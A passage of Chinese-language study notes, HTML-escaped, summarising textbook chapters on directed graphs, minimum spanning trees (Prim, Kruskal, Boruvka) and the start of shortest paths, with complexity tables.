&lt;li&gt;核心 DAG：一个由普通有向图转换得来的 DAG，DAG 中每个顶点代表一个强连通分量，顶点间的有向边也对应原图中两个强连通分量中的顶点是否有边相连&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有向图中的 DFS 剖析：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有向图中树链接与图中的边一一对应：
&lt;ul&gt;
&lt;li&gt;指向未访问顶点：
&lt;ul&gt;
&lt;li&gt;树边：递归调用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;指向已访问顶点：
&lt;ul&gt;
&lt;li&gt;回边：顶点到祖先结点：较大后序编号&lt;/li&gt;
&lt;li&gt;下边：顶点到子孙结点：较大前序编号&lt;/li&gt;
&lt;li&gt;交叉边：顶点到非祖先非子孙结点：较小前序编号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;有向环检测（DAG检测）：DFS 时无回边&lt;/li&gt;
&lt;li&gt;单源点可达性：DFS 时间与可达顶点导出的子图中边个数成正比&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可达性和传递闭包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;传递闭包：与原图有相同顶点，当原图中 s、t 有路径是，传递闭包中有边 s-&amp;gt;t
&lt;ul&gt;
&lt;li&gt;布尔矩阵相乘：可使用任何传递闭包算法计算，最多差常数因子（最好V^2.5）有向边&lt;/li&gt;
&lt;li&gt;计算传递闭包：
&lt;ul&gt;
&lt;li&gt;简洁方法（反复平方法）：有邻接矩阵 A，计算 A^V：与 V^3lgV 成正比&lt;/li&gt;
&lt;li&gt;Warshall 算法：与 V^3 成正比
&lt;ul&gt;
&lt;li&gt;适合稠密有向图&lt;/li&gt;
&lt;li&gt;改进：把对 A[s][i] 的测试从内循环移出&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;基于 DFS 的传递闭包：时间：与 V(V+E) 成正比，空间：与 V^2 成正比
&lt;ul&gt;
&lt;li&gt;适合稀疏图&lt;/li&gt;
&lt;li&gt;邻接矩阵表示&lt;/li&gt;
&lt;li&gt;邻接表表示：对于稀疏图来说最快&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;抽象传递闭包：测试可达性的 ADT，时间：V^3，空间：V^2&lt;/li&gt;
&lt;li&gt;Floyd 算法求加权图最短路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;等价关系和偏序：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;集合中对象的关系：对象的有序对集合&lt;/li&gt;
&lt;li&gt;关系与有向图是同一个抽象的不同表示&lt;/li&gt;
&lt;li&gt;sRt 表示有序对 (s, t) 之间存在关系 R&lt;/li&gt;
&lt;li&gt;关系种类：
&lt;ul&gt;
&lt;li&gt;对称的：sRt 蕴含着 tRs：无向图&lt;/li&gt;
&lt;li&gt;自反的：对所有 s 有 sRs：所有顶点均有自环的图&lt;/li&gt;
&lt;li&gt;反自反的：对所有 s 没有 sRs：所有顶点均无自环的图&lt;/li&gt;
&lt;li&gt;传递的：有 sRt、tRu，则有 sRu&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;等价关系：自反、对称且传递
&lt;ul&gt;
&lt;li&gt;示例：模运算；图的连通性&lt;/li&gt;
&lt;li&gt;等价类：&lt;code&gt;s \equiv t&lt;/code&gt; 表示在同一个等价类中&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;偏序关系：反自反、非对称和传递
&lt;ul&gt;
&lt;li&gt;示例：子集包含；DAG 中的路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;全序关系：对于 s != t，有全序 T 为 sTt 和 tTs 只能有一个成立&lt;/li&gt;
&lt;li&gt;集合和图模型的对应关系：
&lt;ul&gt;
&lt;li&gt;关系：有向图&lt;/li&gt;
&lt;li&gt;对称关系：无向图&lt;/li&gt;
&lt;li&gt;传递关系：图中路径&lt;/li&gt;
&lt;li&gt;等价关系：无向图中路径&lt;/li&gt;
&lt;li&gt;偏序关系：DAG 中的路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有向无环图：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;调度：在约束下完成任务：拓扑排序
&lt;ul&gt;
&lt;li&gt;约束：所需时间的函数或者任务消耗的其它资源的函数，例如：优先约束：某些任务必须在其它一些任务前执行&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树表示压缩成 DAG 表示（动态规划）&lt;/li&gt;
&lt;li&gt;二叉树：一个有向无环图，每个结点可发出两条边，且可接受一条边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拓扑排序：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;目标：处理 DAG 的所有顶点，使得每个顶点在指向的顶点之前被处理&lt;/li&gt;
&lt;li&gt;重新编号的拓扑排序&lt;/li&gt;
&lt;li&gt;重新排列的拓扑排序，也就是常用的术语拓扑排序，与重新编号的拓扑排序相互可得&lt;/li&gt;
&lt;li&gt;产生的顶点顺序非唯一&lt;/li&gt;
&lt;li&gt;逆拓扑排序：边从右指向左
&lt;ul&gt;
&lt;li&gt;可由 DFS 的后序编号而得&lt;/li&gt;
&lt;li&gt;正常拓扑排序步骤：
&lt;ol&gt;
&lt;li&gt;DAG 逆图上进行逆拓扑排序&lt;/li&gt;
&lt;li&gt;栈&lt;/li&gt;
&lt;li&gt;逆序对顶点编号&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;每个 DAG 至少有一个源点和一个汇点&lt;/li&gt;
&lt;li&gt;基于源点队列的重新编号拓扑排序步骤：
&lt;ol&gt;
&lt;li&gt;从队列中删除一个源点，并对其标号&lt;/li&gt;
&lt;li&gt;减少某些顶点的入度&lt;/li&gt;
&lt;li&gt;入度为 0 时，将顶点放入源点队列&lt;/li&gt;
&lt;li&gt;直到源点队列为空&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有向无环图中的可达性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用动态规划和 DFS，对于 DAG 的抽象传递闭包&lt;/li&gt;
&lt;li&gt;设 X 为 DFS 森林中交叉边的数目：时间：与 V^2+VX 成正比，空间：与 V^2 成正比&lt;/li&gt;
&lt;li&gt;稠密 DAG 的传递闭包：最坏 VE，但也有一般情况较快的算法&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有向图中的强连通分量：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DAG 中，s-&amp;gt;t 有路径，则 t-&amp;gt;s 无路径&lt;/li&gt;
&lt;li&gt;强连通分量（强分量）：由相互可达的顶点组成&lt;/li&gt;
&lt;li&gt;蛮力算法：使用传递闭包算法，检查每对顶点对 s-&amp;gt;t 是否可达，且 t-&amp;gt;t 是否可达，将满足此条件的顶点对定义为无向图的一条边，此无向图的连通分量就是原图（有向图）的强分量&lt;/li&gt;
&lt;li&gt;Kosaraju 算法：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;构建逆图，并用 DFS 计算一个后序序列（有向图是 DAG 时为拓扑排序）&lt;/li&gt;
&lt;li&gt;在原图执行 DFS，在调用递归函数的搜索循环中使用由 1 中 DFS
得到后序的逆序：找出搜索的下一个顶点时（可在最外层，也可在递归搜索函数返回给顶层搜索函数时调用递归搜索函数），要使用具有最大后序编号未被访问的顶点&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;任何图都是线性时间、空间：
&lt;ul&gt;
&lt;li&gt;稠密图：V^2&lt;/li&gt;
&lt;li&gt;稀疏图（邻接表）：V+E&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tarjan 算法：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;以逆拓扑排序的顺序考虑顶点，从而在到达某个顶点的递归函数末尾时知道，将不会遇到同一个强分量中的任何其它顶点，因为由该顶点可达的所有顶点都已被处理完&lt;/li&gt;
&lt;li&gt;树中的回链接为从一个顶点到另一个顶点提供了第二条路径，并将强分量连在一起&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;进入递归函数时，将顶点压入栈，在访问某个（多个）强分量的最后一个成员时弹出，并赋予分量编号&lt;/li&gt;
&lt;li&gt;识别是否在访问强分量的最后一个成员：通过从每个结点的所有子孙的一个上链接来记录最大可达祖先&lt;/li&gt;
&lt;li&gt;线性&lt;/li&gt;
&lt;li&gt;有向图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Gabow&apos;s 算法：
&lt;ul&gt;
&lt;li&gt;与 Tarjan 相似，但使用了第二个栈（包含搜索路径中的顶点），而不是 Tarjan 中的顶点索引的前序编号的数组来确定何时从主栈中弹出每个强分量中的顶点&lt;/li&gt;
&lt;li&gt;线性&lt;/li&gt;
&lt;li&gt;有向图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;再论传递闭包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过有向图来构建核心 DAG 的不同情况：
&lt;ul&gt;
&lt;li&gt;核心 DAG 相对于原图来说较小：高效&lt;/li&gt;
&lt;li&gt;原图是个DAG：无改进&lt;/li&gt;
&lt;li&gt;原图与核心 DAG 规模相类似：不会节省很多&lt;/li&gt;
&lt;li&gt;原图有大环或大强分量：最优或渐近最优&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;抽象传递闭包：
&lt;ul&gt;
&lt;li&gt;适用于任何有向图&lt;/li&gt;
&lt;li&gt;原理：
&lt;ul&gt;
&lt;li&gt;在同一个强分量中时，顶点相互可达&lt;/li&gt;
&lt;li&gt;在核心 DAG 中可达，则在原图中也可达&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;找出其强分量：Kosaraju、Tarjan、Gabow&apos;s&lt;/li&gt;
&lt;li&gt;构建其核心 DAG：对边做一边处理&lt;/li&gt;
&lt;li&gt;计算核心 DAG 的传递闭包：DFS&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;性能：
&lt;ul&gt;
&lt;li&gt;计算传递闭包：设 v 为核心 DAG 中顶点数，x 为 DFS 森林中交叉边数，时间：E+v^2+vx，空间：V+v^2&lt;/li&gt;
&lt;li&gt;核心 DAG：该核心 DAG 中顶点数少于 &lt;code&gt;\sqrt[3] v&lt;/code&gt;，时间：E+V，空间：V&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;展望：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;以下均用邻接表表示&lt;/li&gt;
&lt;li&gt;有向图开销：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;开销（最坏）&lt;/th&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;环检测&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;DFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传递闭包&lt;/td&gt;
&lt;td&gt;V(E+V)&lt;/td&gt;
&lt;td&gt;从每个顶点开始的 DFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;单源点最短路径&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;DFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;所有点对最短路径&lt;/td&gt;
&lt;td&gt;V(E+V)&lt;/td&gt;
&lt;td&gt;从每个顶点开始的 DFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;强分量&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;Kosaraju、Tarjan、Gabow&apos;s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传递闭包&lt;/td&gt;
&lt;td&gt;E+v(v+x)&lt;/td&gt;
&lt;td&gt;核心 DAG&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;DAG 开销：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;开销（最坏）&lt;/th&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;环检测&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;DFS或源点队列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;拓扑排序&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;DFS或源点队列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传递闭包&lt;/td&gt;
&lt;td&gt;V(V+E)&lt;/td&gt;
&lt;td&gt;DFS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传递闭包&lt;/td&gt;
&lt;td&gt;V(V+X)&lt;/td&gt;
&lt;td&gt;DFS或动态规划&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;动态可达性：合并-查找算法（稠密有向图）&lt;/li&gt;
&lt;li&gt;问题：
&lt;ul&gt;
&lt;li&gt;支配者： DFS 线性&lt;/li&gt;
&lt;li&gt;传递归约：易解，如果要求结果限制为原图的子图：NP-难&lt;/li&gt;
&lt;li&gt;有向欧拉路径：简单&lt;/li&gt;
&lt;li&gt;有向邮差问题：易解，归约到最小成本流&lt;/li&gt;
&lt;li&gt;有向哈密顿问题：NP-难，如果有向图为 DAG：简单&lt;/li&gt;
&lt;li&gt;单连通子图：NP-难&lt;/li&gt;
&lt;li&gt;反馈顶点集：NP-难&lt;/li&gt;
&lt;li&gt;偶环：不可用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二十章 最小生成树&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;图中每条边上关联权值（成本），成本最小化：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最小生成树：所有点连接起来的最小成本&lt;/li&gt;
&lt;li&gt;最短路径：两个给定点之间最小成本的路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最小生成树（MST）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加权图中权值（边上权值之和）不大于任何其它生成树的权值&lt;/li&gt;
&lt;li&gt;边上权值可相等：MST 不是唯一的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;表示：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;表示加权图：
&lt;ul&gt;
&lt;li&gt;可将权值转换为 0-1 之间的实数&lt;/li&gt;
&lt;li&gt;不存在的边：
&lt;ul&gt;
&lt;li&gt;观察哨权值&lt;/li&gt;
&lt;li&gt;平行矩阵：两个矩阵，一个指示边是否存在，另一个保存边权值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接矩阵：元素为边权值&lt;/li&gt;
&lt;li&gt;邻接表：链表元素增加一个表示边权值的域&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;表示 MST：
&lt;ul&gt;
&lt;li&gt;图；边链表；边数组；顶点索引的数组（父链接表示）&lt;/li&gt;
&lt;li&gt;以上均可在线性时间互相转换&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MST 算法的基本原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基础性质：向树中添加一条边会创建一个环（定义树的性质）&lt;/li&gt;
&lt;li&gt;图中的割：将顶点分成两个不相交集的一个划分&lt;/li&gt;
&lt;li&gt;交叉边：将两个集合中的顶点连接起来的边&lt;/li&gt;
&lt;li&gt;割性质：给定图的任意一个割，每条最小的交叉边属于图中的某个 MST，且每个 MST 包含一条最小交叉边
&lt;ul&gt;
&lt;li&gt;可用作表征 MST 的优化条件&lt;/li&gt;
&lt;li&gt;用来识别出在 MST 中的边：接收这条边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;环性质：给定一个原图 G，向原图添加一条边后得到图 G&apos;。将某条边添加到原图 G 的一个 MST 中，并删除所得到的环中最大一条边。这样就得到图
G&apos; 的一个 MST
&lt;ul&gt;
&lt;li&gt;向一棵生成树不断添加在图中的边，新添加的边需要小于环中的边，从而制造环，并删除环中最大边，直到怎样添加都不能删除。这样就得到一个
MST&lt;/li&gt;
&lt;li&gt;用来识别出不在 MST 中的边：拒绝这条边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Prim 算法：一次一条边，从任何一个顶点开始，把它作为具有单个顶点的 MST，向它添加 V-1 个顶点，总是取在 MST 中的顶点和不在
MST 中的顶点连接边中的最小边
&lt;ul&gt;
&lt;li&gt;适合稠密图&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;反复应用环性质法：向假想 MST 中添加边，如果形成环，则删除环中的最大边
&lt;ul&gt;
&lt;li&gt;弃用边的难度较大&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kruskal 算法：按照边的长度处理边（最短边优先），向 MST 中添加边，不会形成环的边才真正加入 MST 中，在 V-1 条边后停止&lt;/li&gt;
&lt;li&gt;Boruvka 算法：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;向 MST 中添加所有顶点和最近顶点连接起来的边（最小近邻）&lt;/li&gt;
&lt;li&gt;继续向 MST 添加一棵树中的顶点和另一棵树的顶点连接起来的所有边中的最小边（最小近邻）&lt;/li&gt;
&lt;li&gt;直至只剩一棵树&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;边的权值可相同时：在最小近邻中选择具有最小顶点编号的近邻&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;抽象操作：
&lt;ul&gt;
&lt;li&gt;找出连接两棵子树的最小边&lt;/li&gt;
&lt;li&gt;确定增加一条边是否会产生一个环&lt;/li&gt;
&lt;li&gt;删除环中的最大边&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Prim 算法和优先级优先搜索&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;描述：维护图的一个割，割由树顶点（在 MST 中的顶点）和非树顶点（不在 MST 中的顶点）组成。从任何在 MST 中的顶点开始，将一条最小交叉边加入到
MST 中（非树顶点变成树顶点），重复 V-1 次，直至所有顶点都在树中&lt;/li&gt;
&lt;li&gt;蛮力法：直接可得。选择下一条边的方法：检查从树顶点到非树顶点的所有边中的最小边&lt;/li&gt;
&lt;li&gt;增量的变化：只关注由非树顶点到树顶点的最短距离（记录）：
&lt;ul&gt;
&lt;li&gt;V^2，对稠密图来说线性&lt;/li&gt;
&lt;li&gt;只检查向树添加顶点后是否需要更新这个最短距离&lt;/li&gt;
&lt;li&gt;所需信息：
&lt;ul&gt;
&lt;li&gt;对于每个树顶点：在 MST 中的父结点；父链接的长度&lt;/li&gt;
&lt;li&gt;对于每个非树顶点：最近的树顶点；与树的距离&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;边缘集：下一次要添加到 MST 中的潜在边集合&lt;/li&gt;
&lt;li&gt;PFS（广义图搜索）描述：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;从边缘集中将一条最小边移到树，并访问该边指向的顶点&lt;/li&gt;
&lt;li&gt;将从该顶点到一个非树顶点的任何边置于边缘集中，如果边缘集中两条边都指向同一个顶点，则用短边取代长边&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;边缘集为最小优先队列：堆实现时，与 ElgV 成正比&lt;/li&gt;
&lt;li&gt;对于任意图和任意优先级函数，在规模至多为 V 的优先队列中，可利用 PFS 找到 MST：线性时间 + V 次插入 + V
次删除最小值 + E 次减少关键字&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kruskal 算法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;描述：从一个有 V 个单个顶点树的退化森林开始，不断合并两棵树（使用可能的最短边），直至只剩一棵树&lt;/li&gt;
&lt;li&gt;经典实现：
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;按边的权值进行排序，由于权值有限制，可使用基数排序，线性可得，&lt;/li&gt;
&lt;li&gt;使用连通性算法（合并-查找算法）消除导致环的边&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;开销：ElgE：E 个数排序 + E 次查找 + V-1 次合并&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;优先队列版本：
&lt;ul&gt;
&lt;li&gt;线性构造；对数删除最小&lt;/li&gt;
&lt;li&gt;开销：E + XlgV，X 为图中不大于 MST 最长边的边数：构造规模为 E 的优先队列 + X 个删除最小 + X 个查找 + V-1 个合并&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;部分排序版本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Boruvka 算法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;描述：每步添加数条边到 MST 中，在每一步中，找出连接每棵子树与不同子树的最短边，再将所有这样的边加入 MST 中&lt;/li&gt;
&lt;li&gt;连通性算法中的查找函数：为每棵子树关联一个索引，可得知一个给定顶点属于哪棵子树&lt;/li&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;维护一个顶点索引的数组，对于每个 MST 子树能识别出最近邻&lt;/li&gt;
&lt;li&gt;对图中每条边，边的顶点在同一棵树上时，抛弃；否则检查由该边连接的两棵树之间的最近邻距离，有最近邻则更新距离&lt;/li&gt;
&lt;li&gt;用合并操作将每个顶点与它的最近邻连接起来，然后抛弃目前连通的 MST 子树中连接其它顶点对的所有更长的边&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;O(ElgVlg*E)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;比较与改进：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;稠密图：Prim 算法的邻接矩阵实现经典实现&lt;/li&gt;
&lt;li&gt;中等密度图：三种算法皆可，而 Prim 算法的 PFS 实现在取出边的常量因子内&lt;/li&gt;
&lt;li&gt;稀疏图：Kruskal 算法，归约为排序（快排）&lt;/li&gt;
&lt;li&gt;比较：&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;th&gt;最坏情况&lt;/th&gt;
&lt;th&gt;注释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Prim（标准）&lt;/td&gt;
&lt;td&gt;V^2&lt;/td&gt;
&lt;td&gt;稠密图最优&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prim（PFS、堆）&lt;/td&gt;
&lt;td&gt;ElgV&lt;/td&gt;
&lt;td&gt;保守上界&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prim（PFS、d-heap）（Johnson 版本）&lt;/td&gt;
&lt;td&gt;Elog_dV&lt;/td&gt;
&lt;td&gt;除极端稀疏图外都是线性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kruskal&lt;/td&gt;
&lt;td&gt;ElgE&lt;/td&gt;
&lt;td&gt;排序开销占主导&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kruskal（部分排序）&lt;/td&gt;
&lt;td&gt;E+XlgV&lt;/td&gt;
&lt;td&gt;开销依赖最长边&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boruvka&lt;/td&gt;
&lt;td&gt;ElgV&lt;/td&gt;
&lt;td&gt;保守上界&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;改进：
&lt;ul&gt;
&lt;li&gt;更好的优先队列：如斐波那契堆（Fibonacci 堆）：支持常量减小关键字；对数删除最小&lt;/li&gt;
&lt;li&gt;优先队列的实现中使用基数方法&lt;/li&gt;
&lt;li&gt;用 d-叉堆实现优先队列：支持 log_dV 减小关键字；dlog_dV 删除最小
&lt;ul&gt;
&lt;li&gt;改进最坏情况&lt;/li&gt;
&lt;li&gt;导致 Prim 算法有 Vdlog_dV + Elog_dV，非稀疏图线性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;欧几里得 MST：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;欧几里得 MST 问题：给定平面 N 个点找出连接所有点的最短线段集合：NlgN
&lt;ul&gt;
&lt;li&gt;构建 N 顶点、N(N-1)/2 条边的完全图，边权值为两点距离：Prim：N^2&lt;/li&gt;
&lt;li&gt;Delauney 三角的图由 MST，且是一个边数与 N 成正比的平面图。用 NlogN 计算出 Delauney 三角（太复杂）后运行 Kruskal 或
PFS 找出欧几里得 MST&lt;/li&gt;
&lt;li&gt;几何算法&lt;/li&gt;
&lt;li&gt;基于近邻算法的 Prim 另一版本&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二十一章 最短路径&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;路径权值：那条路径上的边权值之和&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;网（加权有向图）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网算法同样适用于加权无向图，非加权图也可&lt;/li&gt;
&lt;li&gt;自环：表示中保留自环，这样更方便&lt;/li&gt;
&lt;li&gt;平行边：可能有平行边，甚至平行边带有不同权值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;简单有向路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正权值边：没必要&lt;/li&gt;
&lt;li&gt;负权值边：需要限制为简单路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最短路径：从 s 到 t 的简单有向路径，且不存在有其它更小权值的路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最短路径树（SPT）：定义了从根到其它顶点的最短路径，每条树路径是网中的一条最短路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;负环：总权值为负数的有向环&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;源点-汇点最短路径：起始顶点（源点）；完成顶点（汇点）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;单源点最短路径：找一条最短路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最短路径权值&lt;/li&gt;
&lt;li&gt;在与长度成正比的时间里追踪路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所有点对最短路径：应用：公路图；航班路线&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;松弛：每步中检查是否可以找到一条比某条已知路径更短的路径
&lt;ul&gt;
&lt;li&gt;边松弛：检查沿着给定边行进是否会产生到目的顶点的一个新的最短路径
&lt;ul&gt;
&lt;li&gt;单源点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;路径松弛：检查沿着给定边行进是否会产生连接两个其它顶点的一条新的最短路径
&lt;ul&gt;
&lt;li&gt;所有点对&lt;/li&gt;
